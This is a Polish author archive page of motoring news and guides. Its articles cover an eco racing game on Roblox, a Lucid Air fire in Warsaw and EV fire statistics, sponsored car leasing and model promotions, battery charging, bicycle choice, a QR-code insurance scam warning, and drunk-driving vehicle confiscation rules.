Wszystkie wpisy, których autorem jest Katarzyna Frendl

Od dziś nowa eko-gra wyścigowa dla najmłodszych na Robloxie: Climate E-Racers

Spis treści

Wyścigówki w grze Climate E-Racers można dostosowywać za pomocą zbieranych w grze e-odpadów oraz dzięki realizowaniu specjalnych wyzwań Mistrzów Klimatu. Ale o co dokładnie chodzi?

Climate E-Racers na Roblox – na czym polega gra?

Na młodych graczy czeka szereg wyzwań i ciekawych doświadczeń – a to wszystko w trosce o klimat! W grze Climate E-Racers graczy powita Robin, znany z produkcji „Młodzi Tytani: Akcja!” – udzieli młodym kierowcom wskazówek, gdy ci będą podejmować wyzwania Mistrzów Klimatu. W trakcie wyścigów przez różne światy znane z kreskówek Cartoon Network, gracze otrzymają wsparcie także od innych lubianych postaci oraz wykorzystają specjalne power-upy, by szybciej dotrzeć do mety. Zawodnicy zostaną wyposażeni w wiele elementów niezbędnych do wygranej w wyścigu oraz będą mogli personalizować swoje wyścigówki za pomocą unikalnych akcesoriów i naklejek. Do personalizacji młodzi gracze mogą wykorzystać także elementy e-odpadów – dowiedzą się, jak stare urządzenia elektroniczne zyskują nowe życie dzięki recyklingowi.

Climate E-Racers

Climate E-Racers

Cartoon Network Game On! – co to jest?

Cartoon Network Game On! Cartoon Network Game On! to immersyjne doświadczenie dostępne na popularnej platformie Roblox. Już wcześniej pozwalało na eksplorację światów znanych z popularnych seriali Cartoon Network, a teraz, dzięki Climate E-Racers, przez gamifikację pomoże w zwiększaniu świadomości na temat globalnego problemu elektronicznych odpadów – przede wszystkim wśród dzieci.

W ramach programu Race Against Climate Change, team Envision Racing stara się zachęcić swoich fanów do ratowania planety, a rosnący problem e-odpadów – według prognoz ekspertów roczna produkcja odpadów elektronicznych, takich jak telefony komórkowe, laptopy, odtwarzacze MP3 czy baterie, do 2030 roku osiągnie 75 mln ton – jest szczególnie ważny dla zespołu Envision. W 2023 roku team zaprezentował pierwszy na świecie samochód wyścigowy zbudowany całkowicie z e-odpadów.

Climate E-Racers

Climate E-Racers – dla kogo? Wiek

Dzieci w wieku od 6 do 12 lat mogą zostać Mistrzami Klimatu, podejmując codzienne wyzwania. Współpraca z topowym zespołem wyścigowym Envision Racing jeszcze wyraźniej podkreśla wysiłki, które Cartoon Network wkłada w edukację młodych umysłów – gra Climate E-Racers uczy i zwiększa świadomość klimatyczną w sposób, który dzieci doceniają najbardziej – poprzez zabawę.

– Współpraca z Envision to istotny element naszej kampanii Mistrzowie Klimatu Cartoon Network. Docieramy tam, gdzie dzieci chcą spędzać czas. Informujemy, inspirujemy i umożliwiamy im podjęcie działań na rzecz zmian klimatycznych, integrując naukę o e-odpadach i wspierając zachowania przyjazne dla klimatu. – mówi Monika Oomen, VP Brand, Comms and Digital Content Strategy, EMEA Kids w Warner Bros. Discovery.

Sylvain Filippi, Managing Director i Chief Technology Officer w Envision Racing, dodaje:

– Ekscytuje nas połączenie światów Envision Racing i Cartoon Network w Roblox. Oprócz rywalizacji na najwyższym poziomie, Envision Racing istnieje po to, by wykorzystać siłę sportu w działaniach, które mają na celu rozwiązanie problemu zmian klimatycznych. Zależy nam na angażowaniu młodych ludzi w tworzenie zrównoważonej przyszłości. Climate E-Racers jest przykładem takiego działania – cieszymy się, mogąc zaproponować dzieciom nowe, innowacyjne doświadczenie.

Gra Climate E-Racers jest dostępna w Cartoon Network Game On! w Robloxie od 16 maja.

Interesują cię gry motoryzacyjne? Przejdź do naszego działu.

Source: Od dziś nowa eko-gra wyścigowa dla najmłodszych na Robloxie: Climate E-Racers

Volkswagen Passat – elegancja i funkcjonalność w biznesowym wydaniu

Elegancki design i przestronne wnętrze

Passat zachwyca wyrazistym designem, który podkreśla jego dynamiczny charakter. Nowoczesne linie nadwozia i dopracowane detale sprawiają, że auto wyróżnia się na tle konkurencji. Smukła sylwetka i dynamiczna stylistyka podkreślają sportowy charakter auta, a jednocześnie zapewniają elegancki wygląd.

Przestronne wnętrze Passata zapewnia komfortową podróż dla pięciu osób. Ergonomiczne fotele gwarantują wygodę nawet podczas długich podróży, a bogate wyposażenie wnętrza dba o przyjemność z jazdy. Duża przestrzeń bagażowa pozwala na zabranie ze sobą wszystkiego, co niezbędne, a liczne schowki i skrytki ułatwiają organizację przestrzeni.

Silniki dostosowane do Twoich potrzeb

Passat dostępny jest z szeroką gamą silników benzynowych, diesla i hybrydowych, które zapewniają doskonałe osiągi i niskie zużycie paliwa. Wybierz silnik dopasowany do Twoich potrzeb i ciesz się przyjemnością z jazdy.

Silniki benzynowe oferują szeroki zakres mocy, od 150 do 272 KM, zapewniając dynamiczne przyspieszenie i wysoką prędkość maksymalną. Silniki diesla słyną z niskiego zużycia paliwa i dużej oszczędności. Silniki hybrydowe łączą w sobie zalety obu typów silników, oferując niską emisję spalin i niskie koszty eksploatacji.

Technologie na najwyższym poziomie

Passat wyposażony jest w najnowocześniejsze technologie, które zapewniają bezpieczeństwo i komfort jazdy. Systemy wspomagające kierowcę, takie jak asystent pasa ruchu, automatyczne hamowanie awaryjne i aktywny tempomat, dbają o Twoje bezpieczeństwo na drodze. Nowoczesny system multimedialny z ekranem dotykowym ułatwia sterowanie funkcjami auta, a system nawigacji prowadzi Cię pewnie do celu.

Passat wyposażony jest również w szereg innych technologii, które ułatwiają codzienne użytkowanie auta, takich jak system parkowania bezobsługowego, kamera 360 stopni i system nagłośnienia premium.

Salon Volkswagen Kraków – Twój partner w biznesie

Jeśli szukasz auta dla firmy, Salon Volkswagen oferuje specjalne programy finansowania i leasingu dostosowane do potrzeb firm. Skorzystaj z fachowej pomocy doradców, którzy pomogą Ci wybrać idealny samochód dla Twojej firmy.

Salon Volkswagen oferuje również szeroki zakres usług serwisowych, takich jak przeglądy okresowe, naprawy i wymiana części. Dzięki temu możesz mieć pewność, że Twoje auto jest zawsze w doskonałym stanie technicznym.

Source: Volkswagen Passat – elegancja i funkcjonalność w biznesowym wydaniu

Spektakularny pożar jedynego takiego auta elektrycznego w Polsce – na środku warszawskiego Mokotowa. Trwają utrudnienia w ruchu

Spis treści

Pożar samochodu elektrycznego zawsze wzbudza emocje, nie inaczej było tym razem. Choć nie są to częste przypadki, to zwykle dość spektakularne, więc media i sceptycy elektromobilności stawiają je jako przykład w dyskusji przeciw autom elektrycznym. Jak jest naprawdę wyjaśniam poniżej, ale wcześniej kilka ważnych informacji, jak doszło do dzisiejszego wypadku.

Pożar elektryka w Warszawie – gdzie i jak do tego doszło?

Sytuacja miała miejsce na warszawskim skrzyżowaniu ulicy Madalińskiego i Alei Niepodległości, na stołecznym Mokotowie. Tuż po godzinie 10:00 kierowca Lucid Air chcąc najprawdopodobniej uniknąć kolizji z innym samochodem zjechał z jezdni, uderzył w słup i uszkodził sygnalizator. Auto błyskawicznie stanęło w płomieniach. Zanim pojawiły się służby przejeżdżające pojazdy zatrzymały się – i słusznie – aby nie ryzykować uszkodzenia własnego auta. Utworzył się duży zator.

Sytuacja była nagrywana zarówno przez osoby piesze, jak i samych kierowców. W dobie, gdzie każdy dysponuje smartfonem z kamerą, wydarzenie zostało dobrze udokumentowane.

Pożar auta w Alei Niepodległości – czy kierowca odniósł obrażenia?

Kierowca odniósł drobne obrażenia wynikające z uderzenia w słup. Wydostał się z opresji zanim auto stanęło w płomieniach. Został przebadany przez zespół ratownictwa medycznego i przewieziony do szpitala, jednak jak dotychczas nie ma informacji, aby odniósł poważne urazy.

Pożar Lucid Air – akcja strażaków

Na miejscu pojawili się strażacy – kilka zastępów. Pierwszy ogień udało się ugasić dość szybko, jednak pożar przedostał się do układu elektrycznego auta i akumulatorów trakcyjnych – znów zaczął się palić. Rozpoczęła się żmudna akcja trwająca trzy godziny. W tym czasie skrzyżowanie było zablokowane.

Gdy udało się schłodzić baterię i jej temperatura spadła, auto nie stanowiło już zagrożenia dla gaszących i osób postronnych, więc zostało zepchnięte z jezdni. Pozostała część skrzyżowania została udrożniona, ale nadal w Alei Niepodległości trwają w tym miejscu utrudnienia w kierunku południowym, czyli w kierunku Ursynowa.

Pożar Lucid Air – co to za auto?

Lucid to amerykańska marka samochodów elektrycznych, producent sportowych pojazdów takich jak wspomniany model Air. Auto mogło mieć wartość szacowaną między pół miliona, a milionem złotych (w zależności od wersji i wyposażenia) i uważa się, że był to jedyny egzemplarz w Polsce. Jest równie unikatowy na europejskich drogach.

Tak wyglądał zanim spłonął jego tył (fot. Katarzyna Frendl). Zwracał uwagę nie tylko opływową sylwetką, ale także nietypową w naszym kraju rejestracją.

Lucid Air

Lucid Air na warszawskiej ulicy, fot. Katarzyna Frendl

Lucid Air to flagowy model marki Lucid Motors, założonej przez byłego inżyniera Tesli, Petera Rawlinsa, w 2007 roku. Nadwozia projektuje były designer Mazdy, Derek Jenkins.

Model Air to 4-drzwowy sedan, który został zaprezentowany po raz pierwszy w 2020 roku na specjalnym wydarzeniu online. Odbyło się w siedzibie firmy Lucid Motors w Newark, w Kalifornii. Premiera była transmitowana na żywo, umożliwiając globalną oglądalność.

W topowej wersji Lucid Air, zwanej „Dream Edition”, produkowanej między 2021 a 2023 rokiem, auto wyposażone w baterię o pojemności 113 kWh na jednym ładowaniu przejeżdżało do 836 km (ok. 500 mil), stanowiąc w momencie debiutu w 2021 rekord, co zostało oficjalnie potwierdzone podczas testu.

Moc tego auta wynosi 1111 KM (około 800 kW), co sprawia, że jest to jedno z najpotężniejszych elektrycznych samochodów osobowych na rynku. Jego prędkość maksymalna to 250 mph (400 km/h), a 100 km/h osiąga w 2,5 sekundy. Napędzany jest przez dwa silniki elektryczne (w wersji AWD), które generują imponujący moment obrotowy 1390 Nm.

Od 2023 roku Lucid produkował jeszcze bardziej nastawiona na osiągi wersję Sapphire.

Lucid Air Sapphire 2023 – dane techniczne

  • napęd AWD
  • 3 silniki
  • moc 1234 KM
  • moment obrotowy 1939 Nm
  • przyspieszenie do 100 km/h – 1,89 s
  • zasięg na 1 ładowaniu – 687 km
  • moc ładowania DC – 300 kW

Auta elektryczne palą się na potęgę?

W Polsce w 2022 roku doszło do 8343 pożarów samochodów. Ile z tej liczby stanowiły auta całkowicie elektryczne? 7. Słownie – siedem. Oczywiście, aut spalinowych w naszym kraju jest wielokrotnie więcej, ale nawet jak wskazuje portal wysokienapiecie.pl, na 100 000 zarejestrowanych samochodów, średnio pali się ok. 20 aut elektrycznych i 30 aut spalinowych.

Często w mediach pojawiają się nieprawdziwe informacje na pożarów samochodów elektrycznych. Tak było na przykład z bardzo medialnym pożarem bloku przy ul. Górczewskiej w Warszawie. Wbrew wielu doniesieniom wskazującym auto elektryczne jako przyczynę pożaru, po zakończeniu śledztwa okazało się, że straż pożarna na parkingu garażu podziemnego nie odnotowała ani jednego samochodu elektrycznego. Prokuratura ustaliła, że pożar zaczął się od instalacji elektrycznej budynku i przeniósł na zaparkowane samochody spalinowe.

Co o pożarach mówią eksperci? W publikacji portalu wyoskienapiecie.pl głos zabrało kilku z nich, oto ich wypowiedzi.

„Z naszych badań w CNBOP-PIB, z prac innych ośrodków naukowych i biznesowych, które analizujemy, a także z dotychczasowego doświadczenia straży pożarnej w Polsce, wynika, że pożary pojazdów elektrycznych co do zasady nie różnią się istotnie co do mocy pożaru od pojazdów spalinowych” – mówi st. bryg. dr hab. inż. Jacek Zboina, wicedyrektor państwowego ośrodka w Józefowie, prowadzącego testy pożarowe baterii i sprzętu do ich gaszenia.

Prof. Wojciech Węgrzyński z Zakładu Badań Ogniowych Instytutu Techniki Budowlanej:

„Od strony wielkości pożaru nie bardzo widzimy jakąś różnicę między pożarem auta spalinowego a elektrycznego. Nadmiernie dużo uwagi poświęcamy pożarom elektryków, a mało czasu pożarom samochodów klasycznych, które też są bardzo niebezpieczne. W zamkniętym garażu pożar pojazdu będzie dość niebezpieczny bez względu na napęd”.

Michał Zugaj, rzeczoznawca ds. zabezpieczeń przeciwpożarowych:

„W samochodzie płoną głównie tworzywa sztuczne. Dlatego rodzaj napędu ma drugorzędne znaczenie. Tworzywa sztuczne palą się z mocą zbliżoną do benzyny, a w aucie mamy ich 200-300 kg, podczas gdy paliwa w baku zmieścimy ok. 30-50 kg (litr benzyny waży 0,75 kg).”

Istotną informację przekazał też Tomasz Karwat, biegły sądowy zajmujący się ustalaniem przyczyn pożarów pojazdów elektrycznych:

„Zdecydowana większość (ok. 80%) pożarów samochodów elektrycznych nie jest związana z baterią trakcyjną auta. Takie pożary wynikają np. z zaprószenia ognia przez samego użytkownika, nieautoryzowanych, źle wykonanych napraw, które mogą skutkować osłabieniem izolacji, z korzystania ze złej jakości zewnętrznych urządzeń wpinanych do instalacji 12 V czy zwykłych akumulatorów kwasowo-ołowiowych.”

Source: Spektakularny pożar jedynego takiego auta elektrycznego w Polsce – na środku warszawskiego Mokotowa. Trwają utrudnienia w ruchu

Wynajem długoterminowy aut dla firm bez zbędnych formalności? To możliwe z mamGO od BNP Paribas!

Jak działa wynajem długoterminowy dla firm?

Decydując się na wynajem samochodu, klient płaci stałe miesięczne raty za jego użytkowanie przez określony w umowie czas. Zyskuje jednak nie tylko sam pojazd, ale również pakiet dodatkowych usług, jak np. ubezpieczenie, serwisowanie czy udostępnienie auta zastępczego, jeśli zajdzie taka potrzeba.

W trakcie obowiązywania umowy kierowca może użytkować samochód w ramach określonego limitu kilometrów, czyli zakładanego rocznego przebiegu. Po zakończeniu ma prawo wybrać, co stanie się z autem. W zależności od własnych potrzeb może:

  • przedłużyć umowę na kolejny okres,
  • wypowiedzieć umowę i zwrócić samochód,
  • wykupić auto na własność,
  • wypowiedzieć aktualną umowę i wynająć nowy pojazd.

Co można zyskać, decydując się na wynajem długoterminowy na firmę?

Jednym z niezaprzeczalnych atutów długoterminowego wynajmu aut jest wygoda. Duża część usług jest zwykle wpisana w podstawową umowę. Dla przykładu miesięczna rata obejmuje:

  • wynajem pojazdu,
  • ubezpieczenie OC i AC, NNW, Assistance24h,
  • samochód zastępczy,
  • serwis,
  • karty paliwowe,
  • aplikację My Arval,
  • likwidację szkód,
  • opcjonalnie: pakiet opony.

Oznacza to również, że koszty są stałe przez cały okres finansowania auta. Pozwala to dobrze zaplanować firmowy budżet, gdyż dodatkowe opłaty nie zaskoczą w najmniej spodziewanym momencie i są odpowiednio rozłożone w czasie

Na uwagę zasługuje także aspekt finansowy tego rozwiązania. Wynajem długoterminowy dla firm nie wiąże się bowiem z koniecznością wniesienia żadnego wkładu własnego.

Aby skorzystać z długoterminowego wynajmu samochodów dla firm, należy postępować zgodnie z poniższymi krokami.

  1. Znaleźć samochód na platformie mamGO i wypełnić formularz kontaktowy.
  2. Zaczekać na kontakt ze strony doradcy, a następnie złożyć wniosek o finansowanie (klient składa oświadczenia dotyczące wniosku w trakcie rozmowy telefonicznej z doradcą, a następnie podpisuje wniosek podpisem elektronicznym).
  3. Zaczekać na decyzję dotyczącą finansowania.
  4. Zawrzeć umowę wynajmu.

Jeśli decyzja będzie pozytywna, wystarczy tylko podpisać u dealera umowę i odebrać auto.

Klienci firmowi cenią sobie także elastyczność, jaka wiąże się z wyborem tej formy finansowania. Korzystanie z wynajmu oznacza bowiem możliwość wymiany samochodu na nowszy po upływie 36-, 48- lub 60 miesięcy. Nie trzeba też zastanawiać się, co zrobić z poprzednim autem. Jeśli nie zostanie wykupione, wróci do dealera i być może skusi innego klienta, który szuka używanego pojazdu.

Długoterminowy wynajem samochodów dla firm z mamGO

mamGO nie jest platformą ukierunkowaną jedynie na wynajem długoterminowy samochodów. Portal umożliwia dostęp do aż trzech różnych form finansowania w jednym miejscu:

  • kredytu*(dla klientów indywidualnych),
  • wynajmu (dla osób prywatnych i przedsiębiorców),
  • leasingu (dla firm).

Zapewnia zatem dużą oszczędność czasu klientom, którzy nie są w stu procentach przekonani do konkretnego finansowania i chcą sprawdzić wszystkie dostępne opcje.

Na platformie znajdują między innymi wyszukiwarka samochodów kalkulator rat. W przypadku zainteresowania kredytem wystarczy przejść do wniosku kredytowego. Jego złożenie online umożliwia ocenę zdolności kredytowej osoby zainteresowanej. Przy leasingu i wynajmie długoterminowym dla firm online wypełnia się formularz kontaktowy, po którym następuje telefoniczna rozmowa z doradcą.

Wynajem długoterminowy Audi czy auta rzadziej spotykanego na polskich drogach, jak chociażby DS lub Tesla? Oferta mamGO jest bardzo szeroka i obejmuje samochody różnej klasy. Wszystkie pochodzą z zaufanych źródeł i cechują się dobrym stanem – także modele używane, które pochodzą od sprawdzonych dealerów aut.

mamGO i Arval – prosty oraz komfortowy wynajem aut dla firm

Opcja wynajmu długoterminowego dla firm, dostępna na platformie mamGO, powstała we współpracy z Arval Service Lease Polska, liderem(1) rynku wynajmu długoterminowego aut w Polsce, dostarczającego również rozwiązania z zakresu nowej mobilności, który jest częścią Grupy BNP Paribas. Co wyróżnia tę ofertę?

Chociażby to, że wszystkie samochody są objęte pełnym assistance obowiązującym w przypadku zaistnienia awarii lub wypadku. Jeśli dojdzie do takiego zdarzenia, szkoda zostanie zlikwidowana z polisy, więc nie stanowi powodu do zmartwień klienta. Dodatkowo, na czas naprawy zostanie udostępnione auto zastępcze, aby zminimalizować dyskomfort wynikający z tego faktu.

Do dyspozycji klientów indywidualnych i przedsiębiorców jest również oferta Arval Flex, która zapewnia możliwość skorzystania z rozwiązania umowy z zachowaniem miesięcznego okresu wypowiedzenia. Nie wiąże się to z żadnymi dodatkowymi opłatami ani innymi konsekwencjami.

Artykuł sponsorowany

Właścicielem i udostępniającym Platformę mamGO jest BNP Paribas Group Service Center S.A. z siedzibą w Warszawie przy ul. Grzybowskiej 78, 00-844 Warszawa.

Podmiotem zawierającym umowy wynajmu jest Arval Service Lease Polska Sp. z o.o. z siedzibą w Warszawie, ul. Wołoskiej 24, 02-672 Warszawa

* Rzeczywista roczna stopa oprocentowania (RRSO) dla kredytu samochodowego na zakup nowego pojazdu u autoryzowanego dealera obliczona dla przykładu reprezentatywnego na 2.01.2024 r. wynosi 15,74%. Dostępność kredytu oraz warunki kredytowania zależą od wyniku oceny zdolności kredytowej klienta dokonanej przez BNP Paribas Bank Polska Spółka Akcyjna z siedzibą w Warszawie przy ul. Kasprzaka 2.

(1) https://www.arval.pl/o-arval/arval-na-swiecie-z-mocnymi-wynikami-za-2023-rok-arval-polska-z-dwucyfrowa-dynamika-wzrostu-floty-rok

Source: Wynajem długoterminowy aut dla firm bez zbędnych formalności? To możliwe z mamGO od BNP Paribas!

Jak długo ładować akumulator – sprawdź parametry

Jak długo ładować akumulator – parametry

Kiedy pytamy, jak długo ładować akumulator, trzeba odpowiedzieć jasno – zależy to od rodzaju samego ogniwa, jego parametrów, a także warunków zewnętrznych. Czas ładowania na zimnym pomieszczeniu lub na mrozie będzie dłuższy niż w ciepłym domu.

Najważniejsze pod względem ładowania parametry to:

  • rodzaj akumulatora – kwasowo-ołowiowy (starego typu czy bezobsługowy), żelowy, EFB, AGM,
  • napięcie (V),
  • natężenie (A).
  • i pojemność (Ah).

Jak długo ładować akumulator? – czas ładowania

Co do zasady mówi się, że akumulator należy ładować prądem o natężeniu równym 1/10 jego pojemności przez ok. 10-12 godzin. Przedtem trzeba zaopatrzyć się w rękawice ochronne i odpowiedni prostownik/ładowarkę. Dobrą praktyką jest też, aby najpierw podłączyć zaciski urządzenia dostarczającego prąd do ogniwa, a następnie dopiero włożyć wtyczkę do kontaktu. Dzięki temu unikniemy pomyłki co do właściwej kolejności podpinania czy też zwarcia.

Jak długo ładować akumulator i czym ładować?

akumulator i przewody

Jak długo ładować akumulator ładowarką?

Poszczególne rodzaje baterii samochodowych mają też inne wymagania co do urządzeń, którymi będziemy dostarczać potrzebną im energię elektryczną.

Akumulator kwasowo-ołowiowy SLI – do ładowania wystarczy prostownik/ładowarka z funkcją automatycznego wyłączenia.

Akumulator AGM i żelowy – w tym przypadku nie będzie już tak łatwo, ponieważ te dwa rodzaje baterii samochodowych wymagają zwiększonej kontroli nad procesem ładowania. Należy zadbać, aby temperatura ogniwa nie przekroczyła 50 stopni Celsjusza. Ponadto sam proces przeprowadza się etapami, ładując najpierw 10-20 A prądu stałego, a po uzyskaniu napięcia 14,4 V prądem o wartości 2% pojemności akumulatora przez 2 godziny.

Dobrym rozwiązaniem będzie także zasięgnięcie rady, np. korzystając z serwisu Battery Point, który oferuje profesjonalną pomoc w kwestii akumulatorów, a w razie potrzeby rezerwację wizyty w najbliższym warsztacie samochodowym.

Source: Jak długo ładować akumulator – sprawdź parametry

Rower miejski, elektryczny czy górski – który wybrać?

Kiedy warto zdecydować się na zakup roweru miejskiego?

Zakup roweru może okazać się ogromnym wyzwaniem. Na rynku dostępny jest szeroki wybór modeli dostosowanych do najróżniejszych potrzeb użytkowników. Podczas zakupów warto określić swoje oczekiwania oraz późniejsze przeznaczenie pojazdu. Jednym z najważniejszych aspektów pozostaje nawierzchnia, po której planujemy jeździć. Rowery miejskie stanowią najpopularniejsze rozwiązanie na drogach miejskich. Wyróżniają się cienkimi, dużymi kołami, obniżoną ramą oraz dodatkowymi akcesoriami, które pozwalają na bezpieczną jazdę po ulicach.

Najczęściej rowery miejskie wyposażone są w dodatkowe oświetlenie, błotniki oraz bagażnik. Wyróżniają się także konstrukcją, która pozwala na zachowanie wyprostowanej postawy ciała podczas jazdy. Wybierając rower, zwróć uwagę na szerokość siedziska oraz tworzywo, z jakiego wykonano ramę. Ramy stalowe są cięższe, jednak zapewniają lepszą amortyzację. Sprawdzą się w czasie jazdy po nierównej nawierzchni.  

Rower elektryczny – ekologiczna alternatywa dla samochodu

Rowery elektryczne cieszą się coraz większą popularnością wśród mieszkańców miast. Pozwalają na wygodne i ekonomiczne poruszanie się po drogach, stanowiąc tańszą w eksploatacji alternatywę dla klasycznego samochodu. Pozwalają jednocześnie na szybkie omijanie korków. Napęd elektryczny sprawia dodatkowo, że nie musisz wkładać zbyt dużo wysiłku podczas jazdy. Doskonale spiszą się tym samym podczas regularnego pokonywania dłuższych tras.

Elektryczny rower damski i męski odznacza się prostym użytkowaniem. Nie wymaga podejmowania dodatkowych czynności. Silnik uruchamia się automatycznie w chwili, w której zaczynasz pedałować oraz wyłącza się, gdy przestajesz. Dodatkowe wskaźniki umieszczone przy kierownicy umożliwiają ustawienie poziomu wspomagania. Możesz dostosować rodzaj napędu do swoich potrzeb i warunków drogowych.

Na jakich trasach sprawdzi się rower górski?

Miłośnicy pozamiejskich wycieczek powinni postawić na rower górski. Solidna konstrukcja oraz wzmocniona rama z dodatkową amortyzacją przyda się podczas jazdy po nierównym terenie. Po rowery MTB możesz sięgnąć w lesie oraz na górskich szlakach rowerowych. Zapewniają komfort i bezpieczeństwo nawet w najtrudniejszych warunkach. Podczas zakupów weź pod uwagę także bieżnik terenowy na oponach, który zapewni optymalny poziom przyczepności i zmniejszy ryzyko poślizgu.

Rowery górskie uchodzą przy tym za wyjątkowo uniwersalne. Możesz sięgnąć po nie zarówno w mieście, jak i na terenach pozamiejskich. Przydadzą się również w czasie jazdy rekreacyjnej. Na rynku dostępny jest szeroki wybór modeli przeznaczonych do uprawiania sportu. Ciekawym wyborem będą rowery górskie XC. Sprawdzą się w przypadku kolarzy, którzy koncentrują się na wydajności i szukają najlżejszych modeli. Rowery MTB dla dzieci będą jednocześnie doskonałym sposobem na zaszczepienie pasji do sportu wśród najmłodszych członków rodziny.

Source: Rower miejski, elektryczny czy górski – który wybrać?

Nowe oszustwo ubezpieczeniowe! Niebezpieczne kody QR rzekomo powiązane z tablicą rejestracyjną auta

Spis treści

Włoska policja wydała ostrzeżenie dotyczące oszustw ubezpieczeniowych związanych z kodami QR, których celem są obywatele. Zgodnie z komunikatem oszuści aktywnie kontaktują się z konsumentami za pośrednictwem rozmów telefonicznych, wiadomości i sponsorowanych reklam w mediach społecznościowych, aby promować atrakcyjne oferty ubezpieczenia samochodu.

Jak działa oszustwo ubezpieczeniowe z kodem QR?

Kontaktując się z potencjalnymi ofiarami, fałszywy ubezpieczyciel wysyła wiadomość zawierającą kod QR rzekomo powiązany z tablicą rejestracyjną samochodu klienta.

Oszust twierdzi, że ten kod QR można pokazać w każdej autoryzowanej kasie biletowej, w której użytkownik może dokonać płatności. Zgodnie z oczekiwaniami fałszywy kod QR nie zawiera żadnych szczegółów jego ubezpieczenia, ale jest powiązany z nazwiskiem oszusta.

Wszelkie płatności są dokonywane na konto oszusta, a ofiara pozostaje bez ubezpieczenia.

Przeczytaj też: Hakerski atak w Olsztynie na systemy sterowania ruchem i nie tylko

Czerwone flagi, o których musisz wiedzieć

Internet jest pełen fałszywych ofert i oszustw, które mogą prowadzić do poważnych strat finansowych i kradzieży tożsamości. Oto kilka oznak możliwego oszustwa związanego z ubezpieczeniem za pomocą kodu QR:

  • Niespodziewanie zostajesz powiadomiony o kuszącej ofercie ubezpieczenia, która brzmi zbyt dobrze, aby mogła być prawdziwa. Oferta ma ograniczoną dostępność i jesteś zachęcany do szybkiego działania, aby nie przegapić okazji.
  • Ubezpieczyciel twierdzi, że za transakcję można zapłacić wyłącznie za pomocą otrzymanego kodu QR.
  • Operator ubezpieczeniowy zachęca do komunikacji za pośrednictwem WhatsApp lub Telegramu.

Aby chronić swoje informacje i pieniądze, zawsze zachowaj czujność w przypadku niechcianej korespondencji, a także sprawdź agencję ubezpieczeniową przed dokonaniem płatności.

Sprawdź wszystkie oferty zawierające kody QR jako jedyną metodę płatności i natychmiast zgłoś potencjalne próby oszustwa swojemu bankowi, operatorowi karty kredytowej i policji.

Przeczytaj także: Atak hakerów paraliżuje Toyotę. Produkcja w Japonii wstrzymana

Jak się zabezpieczyć przed oszustami?

Możesz także skorzystać z dedykowanych narzędzi, które wywęszą oszustów, zanim ci wyrządzą krzywdę.

„Pamiętaj także o tym, aby zawsze korzystać ze skutecznego systemu antywirusowego na swoim smartfonie. Dzięki niemu, gdy będziesz chciał zeskanować niebezpieczny kod QR, otrzymasz ostrzeżenie, dzięki któremu dowiesz się, że masz do czynienia z potencjalnym oszustwem” – mówi Arkadiusz Kraszewski z firmy Marken Systemy Antywirusowe, polskiego dystrybutora oprogramowania Bitdefender.

Niewykluczone, że tego typu praktyki dotrą także wkrótce do Polski. Ważne, aby wiedzieć jak się zabezpieczyć przed tego typu praktykami i mieć się na baczności.

Source: Nowe oszustwo ubezpieczeniowe! Niebezpieczne kody QR rzekomo powiązane z tablicą rejestracyjną auta

Konfiskata pojazdu – dziś wchodzą w życie restrykcyjne przepisy. Recydywa srogo karana

Spis treści

Od dziś jazda na podwójnym gazie może skończyć się utratą samochodu. A jak było poprzednio? Dotychczas za jazdę w stanie po spożyciu alkoholu (od 0,2 do 0,5 promila alkoholu we krwi) groził mandat w wysokości co najmniej 2500 zł. Za stężenie powyżej 0,5 promila kierowcy mogli zapłacić od 5 tys. do 60 tys. zł. W obu przypadkach otrzymywali też 15 punktów karnych – maksymalną możliwą liczbę za pojedyncze zdarzenie. Teraz grozi im konfiskata pojazdu.

Przeczytaj też: Po ilu piwach bezalkoholowych można prowadzić samochód? Czy 0,5% to dalej piwo bezalkoholowe?

Konfiskata pojazdu – przepisy

Od 14 marca 2024 r. obowiązuje nowelizacja Kodeksu karnego umożliwiająca konfiskatę pojazdów kierującym mającym we krwi ponad 1,5 promila alkoholu. Według nowych przepisów auta stracą również ci, którzy po spożyciu napojów wyskokowych spowodują wypadek.

Gdy spowodujemy wypadek mając od 0,5 do 1 promila we krwi – konfiskata pojazdu jest obowiązkowa.

W przypadku zatrzymania nietrzeźwego kierującego z odpowiednio wysokim stężeniem alkoholu we krwi policja zatrzyma jego pojazd na siedem dni. W tym czasie zapadnie decyzja prokuratora o zabezpieczeniu auta (lub innego pojazdu mechanicznego), po czym sąd wyda wyrok o jego przepadku na rzecz Skarbu Państwa.

Jeśli nie konfiskata, to co?

Warto zaznaczyć, że w szczególnych przypadkach nowe przepisy pozwalają sądom na nałożenie innych kar:

  • jeśli prowadzony pojazd nie należy do pijanego kierującego, zasądzony zostanie przepadek równowartości maszyny;
  • w sytuacji, w której doszło do znacznego uszkodzenia pojazdu, sąd również zadecyduje o przepadku jego równowartości;
  • nietrzeźwemu kierowcy prowadzącemu pojazd służbowy w trakcie wykonywania obowiązków zawodowych, samochód nie zostanie odebrany. Na kierującego zostanie nałożona kara finansowa od 5 tys. do 60 tys. złotych na rzecz Funduszu Pomocy Pokrzywdzonym oraz Pomocy Postpenitencjarnej.

Wprowadzane zmiany legislacyjne mają potencjał w ograniczeniu liczby tragicznych wypadków spowodowanych przez nietrzeźwych kierujących. Jednak aby efektywnie rozwiązać ten problem, niezbędne będzie zarówno egzekwowanie tych przepisów, jak i ciągłe edukowanie społeczeństwa o skutkach jazdy na podwójnym gazie – komentuje Gabriel Gatner, adwokat specjalizujący się w sprawach karnych związanych z jazdą po alkoholu i twórca strony jazdapopijaku.pl.

Ekspert dodaje, że jazda samochodem po alkoholu jest powszechnym problemem.

80% klientów mojej kancelarii to osoby, które alkohol spożywają okazyjnie, ale ruszyły samochodem w trasę, będąc przekonanymi, że zdążyły już strawić wypite napoje procentowe. Tak zwana nieświadoma nietrzeźwość jest niezwykle niebezpieczna dla kierowcy, jego pasażerów i innych uczestników ruchu drogowego. Może mieć też poważne konsekwencje prawne dla kierującego niewiedza o stanie swojej trzeźwości nie jest dla sądu żadnym wytłumaczeniem – przekonuje Gatner.

Na zlecenie firmy AlcoSense zbadano 1017 polskich kierowców. Ponad 40% respondentów uznaje, że konfiskata pojazdu to skuteczna kara dla osób, które zdecydowały się na jazdę na podwójnym gazie.

Przepisy nie zastąpią braku wyobraźni

